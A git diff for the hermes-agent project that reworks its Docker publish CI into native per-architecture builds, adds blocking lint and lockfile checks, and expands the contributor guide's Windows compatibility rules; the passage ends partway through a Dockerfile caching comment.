diff --git a/.github/actions/hermes-smoke-test/action.yml b/.github/actions/hermes-smoke-test/action.yml new file mode 100644 index 00000000000..08b9f93634d --- /dev/null +++ b/.github/actions/hermes-smoke-test/action.yml @@ -0,0 +1,47 @@ +name: Hermes smoke test +description: > + Run the image's built-in entrypoint against `--help` and `dashboard --help` + to catch basic runtime regressions before publishing. Requires the image + to already be loaded into the local Docker daemon under `image`. + + Works identically on amd64 and arm64 runners. + +inputs: + image: + description: Fully-qualified image tag (e.g. nousresearch/hermes-agent:test) + required: true + +runs: + using: composite + steps: + - name: Ensure /tmp/hermes-test is hermes-writable + shell: bash + run: | + # The image runs as the hermes user (UID 10000). GitHub Actions + # creates /tmp/hermes-test root-owned by default, which hermes + # can't write to — chown it to match the in-container UID before + # bind-mounting. Real users doing `docker run -v ~/.hermes:...` + # with their own UID hit the same issue and have their own + # remediations (HERMES_UID env var, or chown locally). + mkdir -p /tmp/hermes-test + sudo chown -R 10000:10000 /tmp/hermes-test + + - name: hermes --help + shell: bash + run: | + docker run --rm \ + -v /tmp/hermes-test:/opt/data \ + --entrypoint /opt/hermes/docker/entrypoint.sh \ + "${{ inputs.image }}" --help + + - name: hermes dashboard --help + shell: bash + run: | + # Regression guard for #9153: dashboard was present in source but + # missing from the published image. If this fails, something in + # the Dockerfile is excluding the dashboard subcommand from the + # installed package. + docker run --rm \ + -v /tmp/hermes-test:/opt/data \ + --entrypoint /opt/hermes/docker/entrypoint.sh \ + "${{ inputs.image }}" dashboard --help diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml index b643ae12fcc..551e5514d49 100644 --- a/.github/workflows/docker-publish.yml +++ b/.github/workflows/docker-publish.yml @@ -10,48 +10,59 @@ on: - 'Dockerfile' - 'docker/**' - '.github/workflows/docker-publish.yml' + - '.github/actions/hermes-smoke-test/**' + pull_request: + branches: [main] + paths: + - '**/*.py' + - 'pyproject.toml' + - 'uv.lock' + - 'Dockerfile' + - 'docker/**' + - '.github/workflows/docker-publish.yml' + - '.github/actions/hermes-smoke-test/**' release: types: [published] permissions: contents: read -# Top-level concurrency: do NOT cancel in-flight builds when a new push lands. -# Every commit deserves its own SHA-tagged image in the registry, and we guard -# the :latest tag in a separate job below (with its own concurrency group) so -# a slow run can't clobber :latest with older bits. +# Concurrency: push/release runs are NEVER cancelled so every merge gets its +# own SHA-tagged image; :latest is guarded separately by the move-latest job. +# PR runs reuse a PR-scoped group with cancel-in-progress: true so rapid +# pushes to the same PR collapse to the latest commit. concurrency: - group: docker-${{ github.ref }} - cancel-in-progress: false + group: docker-${{ github.event.pull_request.number || github.ref }} + cancel-in-progress: ${{ github.event_name == 'pull_request' }} + +env: + IMAGE_NAME: nousresearch/hermes-agent jobs: - build-and-push: + # --------------------------------------------------------------------------- + # Build amd64 natively. This job also runs the smoke tests (basic --help + # and the dashboard subcommand regression guard from #9153), because amd64 + # is the only arch we can `load` into the local daemon on an amd64 runner. + # --------------------------------------------------------------------------- + build-amd64: # Only run on the upstream repository, not on forks if: github.repository == 'NousResearch/hermes-agent' runs-on: ubuntu-latest - timeout-minutes: 60 + timeout-minutes: 45 outputs: - pushed_sha_tag: ${{ steps.mark_pushed.outputs.pushed }} + digest: ${{ steps.push.outputs.digest }} steps: - name: Checkout code uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 with: submodules: recursive - # Fetch enough history to run `git merge-base --is-ancestor` in the - # move-latest job. That job reuses this checkout via its own - # actions/checkout call, but commits reachable from main up to ~1000 - # back are plenty for any realistic race window. - fetch-depth: 1000 - - - name: Set up QEMU - uses: docker/setup-qemu-action@c7c53464625b32c7a7e944ae62b3e17d2b600130 # v3 - name: Set up Docker Buildx uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3 - # Build amd64 only so we can `load` the image for smoke testing. - # `load: true` cannot export a multi-arch manifest to the local daemon. - # The multi-arch build follows on push to main / release. + # Build once, load into the local daemon for smoke testing. Cached + # to gha with a per-arch scope; the push step below reuses every + # layer from this build. - name: Build image (amd64, smoke test) uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6 with: @@ -59,36 +70,14 @@ jobs: file: Dockerfile load: true platforms: linux/amd64 - tags: nousresearch/hermes-agent:test - cache-from: type=gha - cache-to: type=gha,mode=max + tags: ${{ env.IMAGE_NAME }}:test + cache-from: type=gha,scope=docker-amd64 + cache-to: type=gha,mode=max,scope=docker-amd64 - - name: Test image starts - run: | - mkdir -p /tmp/hermes-test - sudo chown -R 10000:10000 /tmp/hermes-test - # The image runs as the hermes user (UID 10000). GitHub Actions - # creates /tmp/hermes-test root-owned by default, which hermes - # can't write to — chown it to match the in-container UID before - # bind-mounting. Real users doing `docker run -v ~/.hermes:...` - # with their own UID hit the same issue and have their own - # remediations (HERMES_UID env var, or chown locally). - docker run --rm \ - -v /tmp/hermes-test:/opt/data \ - --entrypoint /opt/hermes/docker/entrypoint.sh \ - nousresearch/hermes-agent:test --help - - - name: Test dashboard subcommand - run: | - mkdir -p /tmp/hermes-test - sudo chown -R 10000:10000 /tmp/hermes-test - # Verify the dashboard subcommand is included in the Docker image. - # This prevents regressions like #9153 where the dashboard command - # was present in source but missing from the published image. - docker run --rm \ - -v /tmp/hermes-test:/opt/data \ - --entrypoint /opt/hermes/docker/entrypoint.sh \ - nousresearch/hermes-agent:test dashboard --help + - name: Smoke test image + uses: ./.github/actions/hermes-smoke-test + with: + image: ${{ env.IMAGE_NAME }}:test - name: Log in to Docker Hub if: github.event_name == 'push' && github.ref == 'refs/heads/main' || github.event_name == 'release' @@ -97,61 +86,229 @@ jobs: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - # Always push a per-commit SHA tag on main. This is race-free because - # every commit has a unique SHA — concurrent runs can't clobber each - # other here. We also embed the git SHA as an OCI label so the - # move-latest job (below) can read it back off the registry's `:latest`. - - name: Push multi-arch image with SHA tag (main branch) - id: push_sha - if: github.event_name == 'push' && github.ref == 'refs/heads/main' + # Push amd64 by digest only (no tag). The merge job assembles the + # tagged manifest list. `push-by-digest=true` is docker's recommended + # pattern for multi-runner multi-platform builds. + # + # We apply the OCI revision label here (and again on arm64) because + # the move-latest job reads it off the linux/amd64 sub-manifest config + # of `:latest` to decide whether it's safe to advance. The label must + # be on each per-arch image — manifest lists themselves don't carry + # image config labels. + - name: Push amd64 by digest + id: push + if: github.event_name == 'push' && github.ref == 'refs/heads/main' || github.event_name == 'release' uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6 with: context: . file: Dockerfile - push: true - platforms: linux/amd64,linux/arm64 - tags: nousresearch/hermes-agent:sha-${{ github.sha }} + platforms: linux/amd64 labels: | org.opencontainers.image.revision=${{ github.sha }} - cache-from: type=gha - cache-to: type=gha,mode=max + outputs: type=image,name=${{ env.IMAGE_NAME }},push-by-digest=true,name-canonical=true,push=true + cache-from: type=gha,scope=docker-amd64 + cache-to: type=gha,mode=max,scope=docker-amd64 + # Write the digest to a file and upload it as an artifact so the + # merge job can stitch both per-arch digests into a manifest list. + - name: Export digest + if: github.event_name == 'push' && github.ref == 'refs/heads/main' || github.event_name == 'release' + run: | + mkdir -p /tmp/digests + digest="${{ steps.push.outputs.digest }}" + touch "/tmp/digests/${digest#sha256:}" + + - name: Upload digest artifact + if: github.event_name == 'push' && github.ref == 'refs/heads/main' || github.event_name == 'release' + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 + with: + name: digest-amd64 + path: /tmp/digests/* + if-no-files-found: error + retention-days: 1 + + # --------------------------------------------------------------------------- + # Build arm64 natively on GitHub's free arm64 runner. This replaces the + # previous QEMU-emulated arm64 build, which was ~5-10x slower and shared + # a cache scope with amd64. Matches the amd64 job's shape: build+load, + # smoke test, then on push/release push by digest. + # --------------------------------------------------------------------------- + build-arm64: + if: github.repository == 'NousResearch/hermes-agent' + runs-on: ubuntu-24.04-arm + timeout-minutes: 45 + outputs: + digest: ${{ steps.push.outputs.digest }} + steps: + - name: Checkout code + uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + with: + submodules: recursive + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3 + + # Build once, load into the local daemon for smoke testing. Cached + # to gha with a per-arch scope; the push step below reuses every + # layer from this build. + - name: Build image (arm64, smoke test) + uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6 + with: + context: . + file: Dockerfile + load: true + platforms: linux/arm64 + tags: ${{ env.IMAGE_NAME }}:test + cache-from: type=gha,scope=docker-arm64 + cache-to: type=gha,mode=max,scope=docker-arm64 + + - name: Smoke test image + uses: ./.github/actions/hermes-smoke-test + with: + image: ${{ env.IMAGE_NAME }}:test + + - name: Log in to Docker Hub + if: github.event_name == 'push' && github.ref == 'refs/heads/main' || github.event_name == 'release' + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + - name: Push arm64 by digest + id: push + if: github.event_name == 'push' && github.ref == 'refs/heads/main' || github.event_name == 'release' + uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6 + with: + context: . + file: Dockerfile + platforms: linux/arm64 + labels: | + org.opencontainers.image.revision=${{ github.sha }} + outputs: type=image,name=${{ env.IMAGE_NAME }},push-by-digest=true,name-canonical=true,push=true + cache-from: type=gha,scope=docker-arm64 + cache-to: type=gha,mode=max,scope=docker-arm64 + + - name: Export digest + if: github.event_name == 'push' && github.ref == 'refs/heads/main' || github.event_name == 'release' + run: | + mkdir -p /tmp/digests + digest="${{ steps.push.outputs.digest }}" + touch "/tmp/digests/${digest#sha256:}" + + - name: Upload digest artifact + if: github.event_name == 'push' && github.ref == 'refs/heads/main' || github.event_name == 'release' + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 + with: + name: digest-arm64 + path: /tmp/digests/* + if-no-files-found: error + retention-days: 1 + + # --------------------------------------------------------------------------- + # Stitch both per-arch digests into a single tagged multi-arch manifest. + # This is a registry-side operation — no building, no layer re-push — + # so it runs in ~30 seconds. On main pushes it produces :sha-. + # On releases it produces :. + # --------------------------------------------------------------------------- + merge: + if: github.repository == 'NousResearch/hermes-agent' && (github.event_name == 'push' && github.ref == 'refs/heads/main' || github.event_name == 'release') + runs-on: ubuntu-latest + needs: [build-amd64, build-arm64] + timeout-minutes: 10 + outputs: + pushed_sha_tag: ${{ steps.mark_pushed.outputs.pushed }} + steps: + - name: Download digests + uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 + with: + path: /tmp/digests + pattern: digest-* + merge-multiple: true + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3 + + - name: Log in to Docker Hub + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + # Compute the tag for this run. Main pushes use sha- (so every + # commit gets its own immutable tag); releases use the release tag name. + - name: Compute tag + id: tag + run: | + if [ "${{ github.event_name }}" = "release" ]; then + echo "tag=${{ github.event.release.tag_name }}" >> "$GITHUB_OUTPUT" + else + echo "tag=sha-${{ github.sha }}" >> "$GITHUB_OUTPUT" + fi + + - name: Create manifest list and push + working-directory: /tmp/digests + run: | + set -euo pipefail + # Build the arg array from each digest file (filename = the digest + # hex, with no sha256: prefix; empty file content, only the name + # matters). Using an array avoids shellcheck SC2046 and keeps + # every digest a single argv token even under pathological names. + args=() + for digest_file in *; do + args+=("${IMAGE_NAME}@sha256:${digest_file}") + done + docker buildx imagetools create \ + -t "${IMAGE_NAME}:${TAG}" \ + "${args[@]}" + env: + IMAGE_NAME: ${{ env.IMAGE_NAME }} + TAG: ${{ steps.tag.outputs.tag }} + + - name: Inspect image + run: | + docker buildx imagetools inspect "${IMAGE_NAME}:${TAG}" + env: + IMAGE_NAME: ${{ env.IMAGE_NAME }} + TAG: ${{ steps.tag.outputs.tag }} + + # Signal to move-latest that the SHA tag is live. Only on main pushes; + # releases don't trigger move-latest (they use their own release tag). - name: Mark SHA tag pushed id: mark_pushed if: github.event_name == 'push' && github.ref == 'refs/heads/main' run: echo "pushed=true" >> "$GITHUB_OUTPUT" - - name: Push multi-arch image (release) - if: github.event_name == 'release' - uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6 - with: - context: . - file: Dockerfile - push: true - platforms: linux/amd64,linux/arm64 - tags: nousresearch/hermes-agent:${{ github.event.release.tag_name }} - cache-from: type=gha - cache-to: type=gha,mode=max - - # Second job: moves `:latest` to point at the SHA tag the first job pushed. + # --------------------------------------------------------------------------- + # Move :latest to point at the SHA tag the merge job pushed. # - # Has its own concurrency group with `cancel-in-progress: true`, which - # gives us the serialization we need: if a newer push arrives while an - # older run is mid-way through this job, the older run is cancelled - # before it can clobber `:latest`. Combined with the ancestor check - # below, this means `:latest` only ever moves forward in git history. + # The real serialization guarantee comes from the top-level concurrency + # group (`docker-${{ github.ref }}` with `cancel-in-progress: false`), + # which ensures at most one workflow run for this ref executes at a time. + # That means two move-latest steps for the same ref cannot overlap. + # + # This job has its own concurrency group as defense-in-depth: if the + # top-level group is ever loosened, queued move-latests will run serially + # in arrival order, each one running the ancestor check below and either + # advancing :latest or skipping. `cancel-in-progress: false` matches the + # top-level setting — we don't want rapid pushes to cancel a queued + # move-latest, because the ancestor check is the real safety mechanism + # and queueing is cheap (move-latest is a ~30s registry op). + # + # Combined with the ancestor check, this means :latest only ever moves + # forward in git history. + # --------------------------------------------------------------------------- move-latest: if: | github.repository == 'NousResearch/hermes-agent' && github.event_name == 'push' && github.ref == 'refs/heads/main' - && needs.build-and-push.outputs.pushed_sha_tag == 'true' - needs: build-and-push + && needs.merge.outputs.pushed_sha_tag == 'true' + needs: merge runs-on: ubuntu-latest timeout-minutes: 10 concurrency: group: docker-move-latest-${{ github.ref }} - cancel-in-progress: true + cancel-in-progress: false steps: - name: Checkout code uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 @@ -167,11 +324,11 @@ jobs: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - # Read the git revision label off the current `:latest` manifest, then + # Read the git revision label off the current :latest manifest, then # use `git merge-base --is-ancestor` to check whether our commit is a - # descendant of it. If `:latest` doesn't exist yet, or its label is + # descendant of it. If :latest doesn't exist yet, or its label is # missing, we treat that as "safe to publish". If another run already - # advanced `:latest` past us (or diverged), we skip and leave it alone. + # advanced :latest past us (or diverged), we skip and leave it alone. - name: Decide whether to move :latest id: latest_check run: | diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index a724dfef898..a2a7b2e8d36 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -1,9 +1,12 @@ name: Lint (ruff + ty) -# Surface ruff and ty diagnostics as a diff vs the target branch. -# This check is advisory only ATM it always exits zero and never blocks merge. -# It posts a Markdown summary to the workflow run and, for pull requests, -# comments the same summary on the PR. +# Two things here: +# 1. Advisory diff — ruff + ty diagnostics as a diff vs the target branch. +# Posts a Markdown summary and a PR comment. Exit zero always. +# 2. Blocking ``ruff check .`` — enforces the explicit rules in +# ``[tool.ruff.lint.select]`` (currently PLW1514). Failure blocks merge. +# Separate job so the advisory diff still runs and posts even when +# enforcement fails. on: push: @@ -149,3 +152,50 @@ jobs: body: fullBody, }); } + + + ruff-blocking: + # Enforce the rules in pyproject.toml [tool.ruff.lint.select]. Currently + # PLW1514 (unspecified-encoding) — catches bare ``open()`` / + # ``read_text()`` / ``write_text()`` calls that default to locale + # encoding on Windows. Failure here blocks merge; the advisory + # ``lint-diff`` job above runs independently so reviewers still get + # the diff comment even when enforcement fails. + name: ruff enforcement (blocking) + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - name: Checkout code + uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + + - name: Install uv + uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5 + + - name: Install ruff + run: uv tool install ruff + + - name: ruff check . + # No --exit-zero, no || true. Exit code propagates to the job, + # which propagates to the required-check gate. + run: | + ruff check . + + windows-footguns: + # Static guardrails on Windows-unsafe Python primitives — os.kill(pid, 0), + # os.killpg, os.setsid, signal.SIGKILL without getattr fallback, + # shebang scripts via subprocess, bare open() without encoding=, etc. + # See scripts/check-windows-footguns.py for the full rule list. + name: Windows footguns (blocking) + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - name: Checkout code + uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + + - name: Set up Python + uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5 + with: + python-version: "3.11" + + - name: Run footgun checker + run: python scripts/check-windows-footguns.py --all diff --git a/.github/workflows/uv-lockfile-check.yml b/.github/workflows/uv-lockfile-check.yml new file mode 100644 index 00000000000..190a162533b --- /dev/null +++ b/.github/workflows/uv-lockfile-check.yml @@ -0,0 +1,119 @@ +name: uv.lock check + +# Verify uv.lock is in sync with pyproject.toml. Blocking check — PRs +# that modify pyproject.toml without regenerating uv.lock (or vice versa) +# must not merge, because the Docker build's `uv sync --frozen` step will +# fail on a stale lockfile and we'd rather catch it here than in the +# docker-publish workflow on main. +# +# ───────────────────────────────────────────────────────────────────────── +# IMPORTANT: this check runs against the MERGED state, not just your branch +# ───────────────────────────────────────────────────────────────────────── +# +# For `pull_request` events, GitHub checks out `refs/pull//merge` by +# default — a synthetic commit that merges your PR branch into the CURRENT +# state of `main`. That means the pyproject.toml evaluated here is +# `main's pyproject.toml + your PR's changes to pyproject.toml`, not just +# what's on your branch. +# +# Failure mode this creates: if `main` has advanced since you branched +# (e.g. someone merged a PR that added a dep to pyproject.toml + its +# corresponding uv.lock entries), your branch's uv.lock is missing those +# new entries. `uv lock --check` resolves against the merged pyproject +# and sees a lockfile that doesn't cover all the current deps → fails +# with "The lockfile at uv.lock needs to be updated." +# +# This can be confusing: `uv lock --check` passes locally (your branch +# is internally consistent) but fails in CI (merged state isn't). +# +# Fix is to sync your branch with main and regenerate the lockfile: +# +# git fetch origin main +# git rebase origin/main # or merge, whatever the repo prefers +# uv lock # regenerates uv.lock against new pyproject.toml +# git add uv.lock +# git commit -m "chore: refresh uv.lock after rebase onto main" +# git push --force-with-lease # if you rebased +# +# If you also changed pyproject.toml in your PR, `uv lock` handles that +# at the same time — one regeneration covers both your changes and the +# drift from main. +# +# This is the correct behavior! The check is protecting main's Docker +# build: a post-merge build would see the same merged state and fail +# the same way. Better to catch it here than after merge. + +on: + push: + branches: [main] + paths: + - 'pyproject.toml' + - 'uv.lock' + - '.github/workflows/uv-lockfile-check.yml' + pull_request: + branches: [main] + paths: + - 'pyproject.toml' + - 'uv.lock' + - '.github/workflows/uv-lockfile-check.yml' + +permissions: + contents: read + +concurrency: + group: uv-lockfile-check-${{ github.event.pull_request.number || github.ref }} + cancel-in-progress: ${{ github.event_name == 'pull_request' }} + +jobs: + check: + name: uv lock --check + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - name: Checkout code + uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + + - name: Install uv + uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5 + + # `uv lock --check` re-resolves the project from pyproject.toml and + # compares the result to uv.lock, exiting non-zero if they disagree. + # No network writes, no file modifications. + # + # On PRs this runs against the merge commit (see comment at the top + # of this file) — failures often mean "your branch is behind main, + # rebase and regenerate uv.lock." + - name: Verify uv.lock is up-to-date + run: | + if ! uv lock --check; then + cat <<'EOF' >> "$GITHUB_STEP_SUMMARY" + ## ❌ uv.lock is out of sync with pyproject.toml + + **If this is a PR:** this check runs against the merged state + (your branch + current `main`), not just your branch. If + `uv lock --check` passes locally, your branch is likely behind + `main` — recent changes to `pyproject.toml` on `main` aren't + reflected in your branch's `uv.lock` yet. + + To fix, sync with main and regenerate the lockfile: + + ```bash + git fetch origin main + git rebase origin/main # or `git merge origin/main` + uv lock # regenerate against new pyproject.toml + git add uv.lock + git commit -m "chore: refresh uv.lock after syncing with main" + git push --force-with-lease # drop --force-with-lease if you merged + ``` + + **If you only changed pyproject.toml:** run `uv lock` locally + and commit the result. + + This check is blocking because the Docker image build uses + `uv sync --frozen --extra all`, which rejects stale lockfiles + — catching it here avoids a ~15 min failed docker-publish run + on `main` post-merge. + EOF + echo "::error title=uv.lock out of sync::Run \`uv lock\` locally and commit the result. If on a PR, sync with main first." + exit 1 + fi diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 78c608c73a7..56f0c8ff016 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -522,11 +522,57 @@ See `hermes_cli/skin_engine.py` for the full schema and existing skins as exampl ## Cross-Platform Compatibility -Hermes runs on Linux, macOS, and WSL2 on Windows. When writing code that touches the OS: +Hermes runs on Linux, macOS, and native Windows (plus WSL2). When writing code +that touches the OS, assume *any* platform can hit your code path. + +> **Before you PR:** run `scripts/check-windows-footguns.py` to catch the +> common Windows-unsafe patterns in your diff. It's grep-based and cheap; +> CI runs it on every PR too. ### Critical rules -1. **`termios` and `fcntl` are Unix-only.** Always catch both `ImportError` and `NotImplementedError`: +1. **Never call `os.kill(pid, 0)` for liveness checks.** `os.kill(pid, 0)` + is a standard POSIX idiom to check "is this PID alive" — the signal 0 + is a no-op permission check. **On Windows it is NOT a no-op.** Python's + Windows `os.kill` maps `sig=0` to `CTRL_C_EVENT` (they collide at the + integer value 0) and routes it through `GenerateConsoleCtrlEvent(0, pid)`, + which broadcasts Ctrl+C to the **entire console process group** containing + the target PID. "Probe if alive" silently becomes "kill the target and + often unrelated processes sharing its console." See [bpo-14484](https://bugs.python.org/issue14484) + (open since 2012 — will never be fixed for compat reasons). + + **Preferred:** use `psutil` (a core dependency — always available): + + ```python + import psutil + if psutil.pid_exists(pid): + # process is alive — safe on every platform + ... + ``` + + If you specifically need the hermes wrapper (it has a stdlib fallback + for scaffold-phase imports before pip install finishes), use + `gateway.status._pid_exists(pid)`. It calls `psutil.pid_exists` first + and falls back to a hand-rolled `OpenProcess + WaitForSingleObject` + dance on Windows only when psutil is somehow missing. + + Audit grep for new callsites: `rg "os\.kill\([^,]+,\s*0\s*\)"`. Any hit + in non-test code is presumptively a Windows silent-kill bug. + +2. **Use `shutil.which()` before shelling out — don't assume Windows has + tools Linux has.** `wmic` was removed in Windows 10 21H1 and later. `ps`, + `kill`, `grep`, `awk`, `fuser`, `lsof`, `pgrep`, and most POSIX CLI tools + simply don't exist on Windows. Test availability with + `shutil.which("tool")` and fall back to a Windows-native equivalent — + usually PowerShell via `subprocess.run(["powershell", "-NoProfile", + "-Command", ...])`. + + For process enumeration: PowerShell's `Get-CimInstance Win32_Process` is + the modern replacement for `wmic process`. See + `hermes_cli/gateway.py::_scan_gateway_pids` for the pattern. + +3. **`termios` and `fcntl` are Unix-only.** Always catch both `ImportError` + and `NotImplementedError`: ```python try: from simple_term_menu import TerminalMenu @@ -539,24 +585,126 @@ Hermes runs on Linux, macOS, and WSL2 on Windows. When writing code that touches idx = int(input("Choice: ")) - 1 ``` -2. **File encoding.** Windows may save `.env` files in `cp1252`. Always handle encoding errors: +4. **File encoding.** Windows may save `.env` files in `cp1252`. Always + handle encoding errors: ```python try: load_dotenv(env_path) except UnicodeDecodeError: load_dotenv(env_path, encoding="latin-1") ``` + Config files (`config.yaml`) may be saved with a UTF-8 BOM by Notepad and + similar editors — use `encoding="utf-8-sig"` when reading files that + could have been touched by a Windows GUI editor. -3. **Process management.** `os.setsid()`, `os.killpg()`, and signal handling differ on Windows. Use platform checks: +5. **Process management.** `os.setsid()`, `os.killpg()`, `os.fork()`, + `os.getuid()`, and POSIX signal handling differ on Windows. Guard with + `platform.system()`, `sys.platform`, or `hasattr(os, "setsid")`: ```python - import platform if platform.system() != "Windows": kwargs["preexec_fn"] = os.setsid + else: + kwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP ``` -4. **Path separators.** Use `pathlib.Path` instead of string concatenation with `/`. + **Preferred:** for killing a process AND its children (what `os.killpg` + does on POSIX), use `psutil` — it works on every platform: + ```python + import psutil + try: + parent = psutil.Process(pid) + # Kill children first (leaf-up), then the parent. + for child in parent.children(recursive=True): + child.kill() + parent.kill() + except psutil.NoSuchProcess: + pass + ``` -5. **Shell commands in installers.** If you change `scripts/install.sh`, check if the equivalent change is needed in `scripts/install.ps1`. +6. **Signals that don't exist on Windows: `SIGALRM`, `SIGCHLD`, `SIGHUP`, + `SIGUSR1`, `SIGUSR2`, `SIGPIPE`, `SIGQUIT`, `SIGKILL`.** Python's + `signal` module raises `AttributeError` at import time if you reference + them on Windows. Use `getattr(signal, "SIGKILL", signal.SIGTERM)` or + gate the whole block behind a platform check. `loop.add_signal_handler` + raises `NotImplementedError` on Windows — always catch it. + +7. **Path separators.** Use `pathlib.Path` instead of string concatenation + with `/`. Forward slashes work almost everywhere on Windows, but + `subprocess.run(["cmd.exe", "/c", ...])` and other shell contexts can + require backslashes — convert with `str(path)` at the subprocess boundary, + not inside Python logic. + +8. **Symlinks need elevated privileges on Windows** (unless Developer Mode is + on). Tests that create symlinks need `@pytest.mark.skipif(sys.platform == + "win32", reason="Symlinks require elevated privileges on Windows")`. + +9. **POSIX file modes (0o600, 0o644, etc.) are NOT enforced on NTFS** by + default. Tests that assert on `stat().st_mode & 0o777` must skip on + Windows — the concept doesn't translate. Use ACLs (`icacls`, `pywin32`) + for Windows secret-file protection if needed. + +10. **Detached background daemons on Windows need `pythonw.exe`, NOT + `python.exe`.** `python.exe` always allocates or attaches to a console, + which makes it vulnerable to `CTRL_C_EVENT` broadcasts from any sibling + process. `pythonw.exe` is the no-console variant. Combine with + `CREATE_NO_WINDOW | DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP | + CREATE_BREAKAWAY_FROM_JOB` in `subprocess.Popen(creationflags=...)`. + See `hermes_cli/gateway_windows.py::_spawn_detached` for the reference + implementation. + +11. **`subprocess.Popen` with `.cmd` or `.bat` shims needs `shutil.which` + to resolve.** Passing `"agent-browser"` to `Popen` on Windows finds + the extensionless POSIX shebang shim in `node_modules/.bin/`, which + `CreateProcessW` can't execute — you'll get `WinError 193 "not a valid + Win32 application"`. Use `shutil.which("agent-browser", path=local_bin)` + which honors PATHEXT and picks the `.CMD` variant on Windows. + +12. **Don't use shell shebangs as a way to run Python.** `#!/usr/bin/env + python` only works when the file is executed through a Unix shell. + `subprocess.run(["./myscript.py"])` on Windows fails even if the file + has a shebang line. Always invoke Python explicitly: + `[sys.executable, "myscript.py"]`. + +13. **Shell commands in installers.** If you change `scripts/install.sh`, + make the equivalent change in `scripts/install.ps1`. The two scripts + are the canonical example of "works on Linux does not mean works on + Windows" and have drifted multiple times — keep them in lockstep. + +14. **Known paths that are OneDrive-redirected on Windows:** Desktop, + Documents, Pictures, Videos. The "real" path when OneDrive Backup is + enabled is `%USERPROFILE%\OneDrive\Desktop` (etc.), NOT + `%USERPROFILE%\Desktop` (which exists as an empty husk). Resolve the + real location via `ctypes` + `SHGetKnownFolderPath` or by reading the + `Shell Folders` registry key — never assume `~/Desktop`. + +15. **CRLF vs LF in generated scripts.** Windows `cmd.exe` and `schtasks` + parse line-by-line; mixed or LF-only line endings can break multi-line + `.cmd` / `.bat` files. Use `open(path, "w", encoding="utf-8", + newline="\r\n")` — or `open(path, "wb")` + explicit bytes — when + generating scripts Windows will execute. + +16. **Two different quoting schemes in one command line.** `subprocess.run + (["schtasks", "/TR", some_cmd])` → schtasks itself parses `/TR`, AND + the `some_cmd` string is re-parsed by `cmd.exe` when the task fires. + Different parsers, different escape rules. Use two separate quoting + helpers and never cross them. See `hermes_cli/gateway_windows.py:: + _quote_cmd_script_arg` and `_quote_schtasks_arg` for the reference + pair. + +### Testing cross-platform + +Tests that use POSIX-only syscalls need a skip marker. Common ones: +- Symlinks → `@pytest.mark.skipif(sys.platform == "win32", ...)` +- `0o600` file modes → `@pytest.mark.skipif(sys.platform.startswith("win"), ...)` +- `signal.SIGALRM` → Unix-only (see `tests/conftest.py::_enforce_test_timeout`) +- `os.setsid` / `os.fork` → Unix-only +- Live Winsock / Windows-specific regression tests → + `@pytest.mark.skipif(sys.platform != "win32", reason="Windows-specific regression")` + +If you monkeypatch `sys.platform` for cross-platform tests, also patch +`platform.system()` / `platform.release()` / `platform.mac_ver()` — each +re-reads the real OS independently, so half-patched tests still route +through the wrong branch on a Windows runner. --- diff --git a/Dockerfile b/Dockerfile index 6ed111f5b2c..ee2c491c069 100644 --- a/Dockerfile +++ b/Dockerfile @@ -55,6 +55,29 @@ RUN npm install --prefer-offline --no-audit && \ (cd ui-tui && npm install --prefer-offline --no-audit) && \ npm cache clean --force +# ---------- Layer-cached Python dependency install ---------- +# Copy only pyproject.toml + uv.lock so the Python dep resolve + wheel +# download + native-extension compile layer is cached unless those inputs +# change. Before this split the Python install sat after `COPY . .`, so +# every source-only commit re-did ~4-5 min of dep work on cold builds. +# +# README.md is referenced by pyproject.toml's `readme =` field, but it's +# excluded from the build context by .dockerignore's `*.md`. uv's build +# frontend stats the readme path during dep resolution, so we `touch` an +# empty placeholder — the real README is restored by `COPY . .` below. +# +# `uv sync --frozen --no-install-project --extra 